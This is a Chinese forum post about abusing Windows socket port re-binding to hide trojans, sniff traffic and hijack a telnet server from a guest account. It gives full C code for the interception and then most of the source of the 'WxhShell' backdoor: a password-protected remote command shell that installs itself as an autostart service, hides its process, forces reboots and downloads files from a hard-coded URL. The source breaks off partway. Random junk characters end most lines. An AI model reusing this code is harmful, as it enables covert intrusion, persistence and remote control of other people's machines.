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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: @LDs$"f9=  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 1<MJ3"60  
}gB^C3b6  
  saddr.sin_family = AF_INET; ;ceg:-Zqo  
(I'{ pF)  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); O=lRI)6w@e  
u47`&\  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); ,8d&uR}x  
64`l?F  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 |"9vq<`  
i~R+ g3oi  
  这意味着什么?意味着可以进行如下的攻击: p~""1m01,D  
Sm?|,C3V  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 ]=I2:Rb  
G"kX#k0S  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) w^YXnLLJG  
TXS`ey  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 _`0DO4IU  
+7n vy^m  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  lN{>.q@V`r  
JO&RuAq  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 ^Jdg%U?  
B,%KvL&xMX  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 T4gfQ6#  
(n jTS+?  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 4;gw&sFF  
ggYi7Wzsd  
  #include F M YcZ+4  
  #include rd$T6!I  
  #include GC3d7  
  #include    Fm6]mz%~u#  
  DWORD WINAPI ClientThread(LPVOID lpParam);   `w8cV ?  
  int main() x!pd50-   
  { )1R[X!KQ7  
  WORD wVersionRequested; Tyb'p9  
  DWORD ret; riaL[4c  
  WSADATA wsaData; f~TkU\Rh  
  BOOL val; /h`gQyGuY  
  SOCKADDR_IN saddr; x_?K6[G&}  
  SOCKADDR_IN scaddr; ~i'!;'-_}  
  int err; ="%887e  
  SOCKET s; HU4h.Lm  
  SOCKET sc; u|u)8;'9(  
  int caddsize; _v,Wl/YAp  
  HANDLE mt; T g3MPa#g  
  DWORD tid;   &TrL!9FtJ  
  wVersionRequested = MAKEWORD( 2, 2 ); >1]hR)Ip  
  err = WSAStartup( wVersionRequested, &wsaData ); sCQV-%9  
  if ( err != 0 ) { ^T1caVb|>  
  printf("error!WSAStartup failed!\n"); Us2> 5 :\  
  return -1; DRXUQH  
  } B9cWxe4R#  
  saddr.sin_family = AF_INET; t7xJ "  
   /d Ua  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 ) .' + {  
*8yC6|wL?  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); q D=b+\F  
  saddr.sin_port = htons(23);  CWYOzqf  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) B,Tv9(sv  
  { *-q &~  
  printf("error!socket failed!\n"); ]W~M?1 }  
  return -1; v4uQ0~k~X  
  } ?:l:fS0:{  
  val = TRUE; 5INw#1~  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 +>[zn  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) CtD<% v3`  
  { ?A r}QN  
  printf("error!setsockopt failed!\n"); j> dZ26 >N  
  return -1; yT7{,Z7t  
  } BePb8 k<y  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; ?@`5^7*  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 $*P +   
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 XbFo#Pwk  
lU&2K$`  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) 9(vp`Z8B4  
  { EQZ/v gho  
  ret=GetLastError(); .RmoO\ ,Gm  
  printf("error!bind failed!\n"); p<l+js(5|  
  return -1; !,5qAGi0  
  } DZb0'+jQ  
  listen(s,2); aM,g@'.=  
  while(1) 2~r2ErtS  
  { 6Rq +=X  
  caddsize = sizeof(scaddr); e},:QL0X  
  //接受连接请求 xt`a":lru  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); HL>l.IG?  
  if(sc!=INVALID_SOCKET) EUH9R8)  
  { w Bm4~ ~_  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); p}wysVB  
  if(mt==NULL) X(DP=C}v9  
  { "@5{=  
  printf("Thread Creat Failed!\n"); 4mX]JH`UTe  
  break; L5 Ai  
  } dWwb}r(ky  
  } fLSDt(c',  
  CloseHandle(mt); d& v 7l  
  } J<Ki;_=I  
  closesocket(s); O(.eHZ=  
  WSACleanup(); h2:TbQ  
  return 0; Bqk+ne  
  }   <+b~E,  
  DWORD WINAPI ClientThread(LPVOID lpParam) !A|}_K1Cr  
  { JPj/+f  
  SOCKET ss = (SOCKET)lpParam; %.\+j,G7  
  SOCKET sc; vQ $"|8,  
  unsigned char buf[4096]; 1 un!  
  SOCKADDR_IN saddr; =i7CF3  
  long num; 16.?4 5  
  DWORD val; >Apa^Bp  
  DWORD ret; dI=&gz  
  //如果是隐藏端口应用的话,可以在此处加一些判断 &fkH\o7)  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   B/3xV:Gy  
  saddr.sin_family = AF_INET; ]lE5^<<  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); aSHN*tP%y  
  saddr.sin_port = htons(23); uz=9L<$  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) HoWK# Nz\  
  { `G*fx=N  
  printf("error!socket failed!\n"); MD,BGO?C  
  return -1; 9j5Z!Vsy  
  } G-]_ d  
  val = 100; XQ}7.u!  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) NPa4I7`A  
  { U56g|V  
  ret = GetLastError(); Eb29tq  
  return -1; "l#"c{ee{  
  } ^hT2 ed +  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) V$u:5"qu0  
  { XJq]l6a:  
  ret = GetLastError(); 37M,Os1(  
  return -1; /~+Fzz  
  } 0Q cJ Ek  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) nI+.De~  
  { WBzPSnS2  
  printf("error!socket connect failed!\n"); L` rrT   
  closesocket(sc); EgzdRB\Cf  
  closesocket(ss); +#X+QG  
  return -1; 9]/:B8k  
  } >29c[O"[  
  while(1) F^}d>2W(  
  { L}g#h+GP[  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 /&c>*4)  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 bV#j@MJ~0  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 cN\_1  
  num = recv(ss,buf,4096,0); 7s}F`fjKP  
  if(num>0) 1h)K3cC  
  send(sc,buf,num,0); qpa}6JVQ+j  
  else if(num==0) ;~`/rh V\  
  break; v&f\ Jv7  
  num = recv(sc,buf,4096,0); <fMQ#No  
  if(num>0) zP c54 >f  
  send(ss,buf,num,0); @x *,fk  
  else if(num==0) >.XXB 5a  
  break; eV;nTj  
  } Q yQ[H  
  closesocket(ss); \y7Gi}nI  
  closesocket(sc); >+:cTQ|q  
  return 0 ; ##1/{9ywy  
  } MdTu722  
4"^W/Zo  
jz\>VYi(7  
========================================================== RyWfoLc  
YnCuF0>  
下边附上一个代码,,WXhSHELL {e., $'#  
`sd H q  
========================================================== V*@&<x"E  
N7;kWQH  
#include "stdafx.h" @TzUc E  
zMO xJ   
#include <stdio.h> '68#7Hs.  
#include <string.h> ;^)4u  
#include <windows.h> [V5,1dmkI  
#include <winsock2.h> =xb/zu(  
#include <winsvc.h> /7-FVqDx8  
#include <urlmon.h> `)BZk[64  
0AhUH| ]  
#pragma comment (lib, "Ws2_32.lib") 0p\Kf(|E*6  
#pragma comment (lib, "urlmon.lib") 'RV wxd  
A43[i@o  
#define MAX_USER   100 // 最大客户端连接数 1gLET.I:  
#define BUF_SOCK   200 // sock buffer p DU+(A4>  
#define KEY_BUFF   255 // 输入 buffer VArMFP)cz  
`+UBl\j  
#define REBOOT     0   // 重启 cf%2A1I2W  
#define SHUTDOWN   1   // 关机 |n(b>.X  
#!r>3W&  
#define DEF_PORT   5000 // 监听端口 /c7jL4oD  
(^<skx>  
#define REG_LEN     16   // 注册表键长度 =#&+w[4?&.  
#define SVC_LEN     80   // NT服务名长度 X7MA>j3m  
T@n};,SQ  
// 从dll定义API <jLL2-5r0  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); w.=rea~  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);  4NIb_E0  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); i&)OJy  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 8>X]wA6q  
xBqZ: BQ  
// wxhshell配置信息 G12o?N0p  
struct WSCFG { 4'N 4,3d$  
  int ws_port;         // 监听端口 g12.4+  
  char ws_passstr[REG_LEN]; // 口令 T[J8zL O  
  int ws_autoins;       // 安装标记, 1=yes 0=no "VMb1Zhf  
  char ws_regname[REG_LEN]; // 注册表键名 nD=N MqQ &  
  char ws_svcname[REG_LEN]; // 服务名 =%b1EY k  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 .j"@7#tW  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 LftGA7uGJ)  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 zq|NltK  
int ws_downexe;       // 下载执行标记, 1=yes 0=no ]2iEi`"[  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe"  SxX  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 iU# "G" &  
OgCNq W d-  
}; bhfC2@  
N#X* 0i"  
// default Wxhshell configuration i> {0h3Y  
struct WSCFG wscfg={DEF_PORT, @U =~ c9  
    "xuhuanlingzhe", r[2*K 9  
    1, sAF="uB  
    "Wxhshell", F-D$Y?m  
    "Wxhshell", RXO5p d  
            "WxhShell Service", D\pX@Sx,v[  
    "Wrsky Windows CmdShell Service", V7 hO}  
    "Please Input Your Password: ", t ^1uj:vD  
  1, +zl [C  
  "http://www.wrsky.com/wxhshell.exe", xb&,9Lxd|  
  "Wxhshell.exe" 5BM6Pnle  
    }; q3GkfgY  
J{n A ?[  
// 消息定义模块 )6px5Vwz  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; hE4qs~YB!  
char *msg_ws_prompt="\n\r? for help\n\r#>"; ^Qxv5HS2  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; )X8N|W>vh  
char *msg_ws_ext="\n\rExit."; |jcIn[)=  
char *msg_ws_end="\n\rQuit."; 'GLpSWL+*  
char *msg_ws_boot="\n\rReboot..."; 6Z@T /"mU(  
char *msg_ws_poff="\n\rShutdown..."; \[wbJ  
char *msg_ws_down="\n\rSave to "; Ghar hJ>v  
d8p5a C+E  
char *msg_ws_err="\n\rErr!"; qGP}  
char *msg_ws_ok="\n\rOK!"; I(Vg  
j%8 1q  
char ExeFile[MAX_PATH]; l}D /1~d  
int nUser = 0; z<9Llew^e  
HANDLE handles[MAX_USER]; !=6\70lJ  
int OsIsNt; @r\{iSg&g.  
q/qig5Ou  
SERVICE_STATUS       serviceStatus; G"Hj$  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; :_o^oi7G  
Cli:;yi&n  
// 函数声明 ##OCfCW  
int Install(void); \\`(x:\  
int Uninstall(void); akWOE}5#  
int DownloadFile(char *sURL, SOCKET wsh); Xv 7noq|  
int Boot(int flag); }!m}?  
void HideProc(void); S{,|Fa^PPO  
int GetOsVer(void); ?0lz!Nq'S  
int Wxhshell(SOCKET wsl); 9H+Q/Q*-a  
void TalkWithClient(void *cs); Iq 0ew  
int CmdShell(SOCKET sock); 1*trtb4F  
int StartFromService(void); 2_)gJ_kP  
int StartWxhshell(LPSTR lpCmdLine); @H}Hjg_>m  
9d!mGnl  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); nt%p@e!,  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); Hv%$6,/*v  
ej \S c7.  
// 数据结构和表定义 Epm8S}6K  
SERVICE_TABLE_ENTRY DispatchTable[] = & +yo PF  
{ Uyd'uC  
{wscfg.ws_svcname, NTServiceMain}, pB7^l|\]  
{NULL, NULL} 4Ofkagg  
}; ^S!;snhn  
xRq A^Ad  
// 自我安装 MXDUKh7v3  
int Install(void) .sKfwcYu4  
{ 8uA!Vrp3  
  char svExeFile[MAX_PATH]; Jw{ duM;]  
  HKEY key; %pf9Yd0t  
  strcpy(svExeFile,ExeFile);  Af`Tr6)  
gq="&  
// 如果是win9x系统,修改注册表设为自启动 Wmx3@]<  
if(!OsIsNt) { +M<W8KF  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 'c3'eJ0  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 6-+ wfrN2  
  RegCloseKey(key); D/hq~- g  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { m!]J{OGG:  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); q)J5tBfJ  
  RegCloseKey(key); DZ9^>`*  
  return 0; x1Z*R+|>2  
    } V~do6[(  
  } tjx|;m7  
} i>dFpJ  
else { jWdZ ]0m  
z|\n^ZK=  
// 如果是NT以上系统,安装为系统服务 @3bVjQ`4f  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); [\  &2&  
if (schSCManager!=0) lR]FQnZ  
{ @|e we. r  
  SC_HANDLE schService = CreateService kU.@HJ[@j  
  ( =T1Xfib  
  schSCManager, ,T;D33XV  
  wscfg.ws_svcname, zMd><UQP{  
  wscfg.ws_svcdisp, %Hhk 6tR,  
  SERVICE_ALL_ACCESS, Ty7)j]b"zl  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ,qNbo 11  
  SERVICE_AUTO_START, </aQ  
  SERVICE_ERROR_NORMAL, 9mjJC  
  svExeFile, q$Ms7 `a  
  NULL, 0f_A"K  
  NULL, 4t>"-/  
  NULL, k$pND,Ws  
  NULL, Tr;.O?@{t}  
  NULL $9:  @M.  
  ); O2"V'(  
  if (schService!=0) ew]G@66  
  { 7nP{a"4_  
  CloseServiceHandle(schService); eBY/Y6R  
  CloseServiceHandle(schSCManager); y9w,Su2  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); q+cD  
  strcat(svExeFile,wscfg.ws_svcname); X8A.ag0Uu  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { c c/nzB  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); "yj_v\@4  
  RegCloseKey(key); eC L_c>3!  
  return 0; 1aUg({  
    } b~@+6 ?  
  } m_,Jbf  
  CloseServiceHandle(schSCManager); cvhwd\  
} XL'\$f  
} yB 'C9wEH  
{dn:1IcN  
return 1; l}&2A*c.  
} M0OIcMTv  
F/3L^k]  
// 自我卸载 B+Ft  >  
int Uninstall(void) IreY8.FND  
{ g yhy0  
  HKEY key; G5RdytK  
u]i%<Yy89  
if(!OsIsNt) { C%CgWO`Xj  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { q?@*  
  RegDeleteValue(key,wscfg.ws_regname); v>N*f~n  
  RegCloseKey(key); \&ki79Ly-  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { AWssDbh/[  
  RegDeleteValue(key,wscfg.ws_regname); M9m~ck  
  RegCloseKey(key); oXN(S:ZF  
  return 0; CF@*ki3X  
  } 3i'01z  
} VL'wrgk  
} :{B']~Xf  
else { w0vsdM;G  
uZ'Z-!=CL  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); #9~,d<H  
if (schSCManager!=0) 5%}!z~8Y4  
{ `(=?k[48  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 5UG9&:zu'V  
  if (schService!=0) ]lqZ9rO  
  { P ?n k>  
  if(DeleteService(schService)!=0) { gsl_aW!  
  CloseServiceHandle(schService); 8Op^6rX4  
  CloseServiceHandle(schSCManager); jzBW'8  
  return 0; sg49a9`8  
  } a'. 7)f[g}  
  CloseServiceHandle(schService); &\b(  
  } g1.u1}  
  CloseServiceHandle(schSCManager); }^j8<  
} `l/nAKg?W  
} LsaX HI/?b  
 :8==Bu  
return 1; >Gk<a  
} po,U e>n/  
%[M0TE=J  
// 从指定url下载文件 Gv}Q/v   
int DownloadFile(char *sURL, SOCKET wsh) H)EL0 Kv/  
{ S8v?H|rm  
  HRESULT hr; p . P#S  
char seps[]= "/"; &m   GU  
char *token; w5 ]lU  
char *file; %Lb cwh(9  
char myURL[MAX_PATH]; d|9]E&;,  
char myFILE[MAX_PATH]; c2fSpvz  
B& R?{y*  
strcpy(myURL,sURL); 67Qu<9}<-  
  token=strtok(myURL,seps); 78~/1-  
  while(token!=NULL) jZ:/d!$S  
  { 11kyrv  
    file=token; jb{9W7;RL  
  token=strtok(NULL,seps); *'aouS/?<6  
  } dU2;   
P1B=fgT  
GetCurrentDirectory(MAX_PATH,myFILE); >VQLC&u(  
strcat(myFILE, "\\"); svb7-.!  
strcat(myFILE, file); u86PTp+  
  send(wsh,myFILE,strlen(myFILE),0); NGkxg:  
send(wsh,"...",3,0); <>Dw8?O  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); <t*<SdAq>`  
  if(hr==S_OK) \ym^~ Q|  
return 0; MX7Ix{  
else \Q1&w2mw  
return 1; q9{)nU  
!!)$?R;1  
} ?%Tx% dB  
AI#.+PrC{/  
// 系统电源模块 H$ g*  
int Boot(int flag) w/rJj*  
{ Y4swMN8Bq  
  HANDLE hToken; qSG0TWD!pq  
  TOKEN_PRIVILEGES tkp; IYXN}M.=  
yjH'<  
  if(OsIsNt) { $p&eS_f  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); D!/ 4u0m  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); Il(o[Q>jJ3  
    tkp.PrivilegeCount = 1; 96QY0  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; CSq|R-@< U  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); ksuePMIK  
if(flag==REBOOT) { W[ W)q%[)  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ,|>>z#Rr(n  
  return 0; JtxVF !v  
} B8n[ E  
else { N5ZO pRH{  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 1_v\G   
  return 0; _z{9V7n4  
} q(^iT~}  
  } ITTEUw~+o  
  else { W6i9mER-  
if(flag==REBOOT) { W*CRxGyZCl  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) ;in-)`UC!  
  return 0; Q^nf D  
} cfa1"u""e  
else { B@0#*I Rm  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ~>lqEa  
  return 0; "VSx?74q  
} 9+s&|XS*  
} YM'4=BlJHv  
CI$z+ zN  
return 1; /2c(6h  
} 9&.md,U'  
C4.GtY8,d  
// win9x进程隐藏模块 K%mR=u#%&  
void HideProc(void) Y,Rr[i"j  
{ fDfph7[)  
a`#lYM%(>  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); `XK\', }F  
  if ( hKernel != NULL ) l 'wu-  
  { nqUnDnP2c  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); r<!nU&FPD:  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); a|oh Ad  
    FreeLibrary(hKernel); Yk|.UuXT  
  } m*N8!1Ot  
~n%Lo3RiP  
return; ) 5$?e  
} ~+Pe=~a[  
{"{]S12N  
// 获取操作系统版本 \R]2YY`EP  
int GetOsVer(void) L3xN#W;m7  
{ :DNI\TmhJ  
  OSVERSIONINFO winfo; 2y;vX|lX]  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ~&qvS  
  GetVersionEx(&winfo); su1fsoL0  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) Dv/7 w[F  
  return 1; 2gZp O9  
  else <,n:w[+!`P  
  return 0; 4m91XD  
} nQ+5jGP1  
FjtS  
// 客户端句柄模块 jaKW[@<  
int Wxhshell(SOCKET wsl) x< 2]UB`  
{ R<6y7?]bZ  
  SOCKET wsh; >A-{/"p#  
  struct sockaddr_in client; ln=fq:  
  DWORD myID; v^t7)nx^  
2z;3NUL$n  
  while(nUser<MAX_USER) WlvT&W  
{ Q8m%mJz~]  
  int nSize=sizeof(client); j8[U}~*^  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 2-8Dc4H]r  
  if(wsh==INVALID_SOCKET) return 1; 0NZ'(qf~9  
 'F.P93  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); W4d32+V  
if(handles[nUser]==0) ^tG,H@95  
  closesocket(wsh); ly[d V.<P  
else GuU-< *u(d  
  nUser++; ^GY^g-R  
  } O)VcW/  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); *Ic^9njt  
UhS:tT]7  
  return 0; ny1O- `!1  
} md'wre3  
a@W9\b@I  
// 关闭 socket \ Voly  
void CloseIt(SOCKET wsh) 0q-lyVZ^X  
{ 7>O`UT<t4@  
closesocket(wsh); 8uLS7\,$z  
nUser--; o)@nnqa  
ExitThread(0); kG!hqj  
} xlwf @XW  
r.zgLZ}3&V  
// 客户端请求句柄 }Cw,m0KV/  
void TalkWithClient(void *cs) f*Q9u>1p  
{ i^.eX VV/  
`Tyd1!~  
  SOCKET wsh=(SOCKET)cs; nTr]NBR  
  char pwd[SVC_LEN]; M3@qhEf?vk  
  char cmd[KEY_BUFF]; s<!G2~T  
char chr[1]; w[gt9]}N  
int i,j; ;iKtv+"  
fv8x7l7  
  while (nUser < MAX_USER) { @XzfuuE]  
k@|px#kq  
if(wscfg.ws_passstr) { SQ2v  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); [ R+M .5  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); {zm8`  
  //ZeroMemory(pwd,KEY_BUFF); A"b31*_  
      i=0; qQ3Q4R\  
  while(i<SVC_LEN) { q/I( e  
;2`6eyr  
  // 设置超时 H<i!C|AF  
  fd_set FdRead; E:**gvfq  
  struct timeval TimeOut; 8o%Vn'^t  
  FD_ZERO(&FdRead); {X(nn.GpC  
  FD_SET(wsh,&FdRead); v8yCf7+"  
  TimeOut.tv_sec=8; {*GBUv5  
  TimeOut.tv_usec=0; E#rQJ  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); vMou`[\WlJ  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); ,s 3|  
6&SNFOX{@  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); zytN leyc  
  pwd=chr[0]; \z!lw  
  if(chr[0]==0xd || chr[0]==0xa) { `IwZVz  
  pwd=0; ~//9Nz~;3  
  break; l%GArH`  
  } N^[ F+y  
  i++; > VIFQ\  
    } 2ak]&ll+h  
k $^/$N  
  // 如果是非法用户,关闭 socket TU~y;:OJ  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); mp$IhJ6#  
} `Pj7:[."[  
er3~gm  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ^lV}![do!  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); V>)/z|[  
MSM8wYcD  
while(1) { B;=Z^$%T  
}a5TY("d9H  
  ZeroMemory(cmd,KEY_BUFF); y<- ]'Yts  
gtMR/P:S  
      // 自动支持客户端 telnet标准   Fik ;hB  
  j=0; "0;WYw?  
  while(j<KEY_BUFF) { 7:vl -ZW  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); X(BxC<!D.  
  cmd[j]=chr[0]; 61kSCu  
  if(chr[0]==0xa || chr[0]==0xd) { BI)C\D3[  
  cmd[j]=0; /fT"WaTEK  
  break; 7!jb  
  } |Ol29C$@|  
  j++; ^|Fy!kp  
    } _dk[k@5W{'  
Pa d)|  
  // 下载文件 vf.MSk?~ar  
  if(strstr(cmd,"http://")) { 7"'PfP4c  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); A8mc+ Bf(  
  if(DownloadFile(cmd,wsh)) >>KI_$V  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); )GG9[%H!  
  else Y2l;NSWU  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 8o|C43Q_  
  } ;AOLbmb)H4  
  else { EL3X8H  
>fP;H}S6  
    switch(cmd[0]) { $)ka1L"N  
  I[K4/91  
  // 帮助 AH'c:w]~  
  case '?': { !zOj`lx  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); w"[T  
    break; Ar >JQ@0  
  } %zGv+H?  
  // 安装 ~Oq _lM  
  case 'i': { 7M~/ q.  
    if(Install()) ?C fQwY#N  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); }W 5ks-L6  
    else u5Z yOZ;  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); @u/CNx,`X  
    break; 9;{(.K  
    } c8mh#T bl  
  // 卸载 .gC.T`/m  
  case 'r': { iLBORT !;  
    if(Uninstall()) &)Qq%\EP4  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); #OM'2@  
    else MCibYv c[  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); P2jh[a%  
    break; dcmf~+T  
    } =6ru%.8U,  
  // 显示 wxhshell 所在路径 1gBLJ0q  
  case 'p': { jcj8w  
    char svExeFile[MAX_PATH]; N}n3 +F  
    strcpy(svExeFile,"\n\r"); CQ6I4k  
      strcat(svExeFile,ExeFile); H0"'jd  
        send(wsh,svExeFile,strlen(svExeFile),0); J'ce?_\?PY  
    break; (SW6?5  
    } 3\P*"65  
  // 重启 Gu$J;bXVj  
  case 'b': { diu"Nt  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); &':C"_|&r  
    if(Boot(REBOOT)) cd1-2-4U  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Zx{Sxv"  
    else { \`~YW<D  
    closesocket(wsh); ]3,9 ."^  
    ExitThread(0); {~9HJDcM  
    } e{87n>+,  
    break; n;:.UGl9.  
    } .+XK>jl +  
  // 关机 G.L}VpopM  
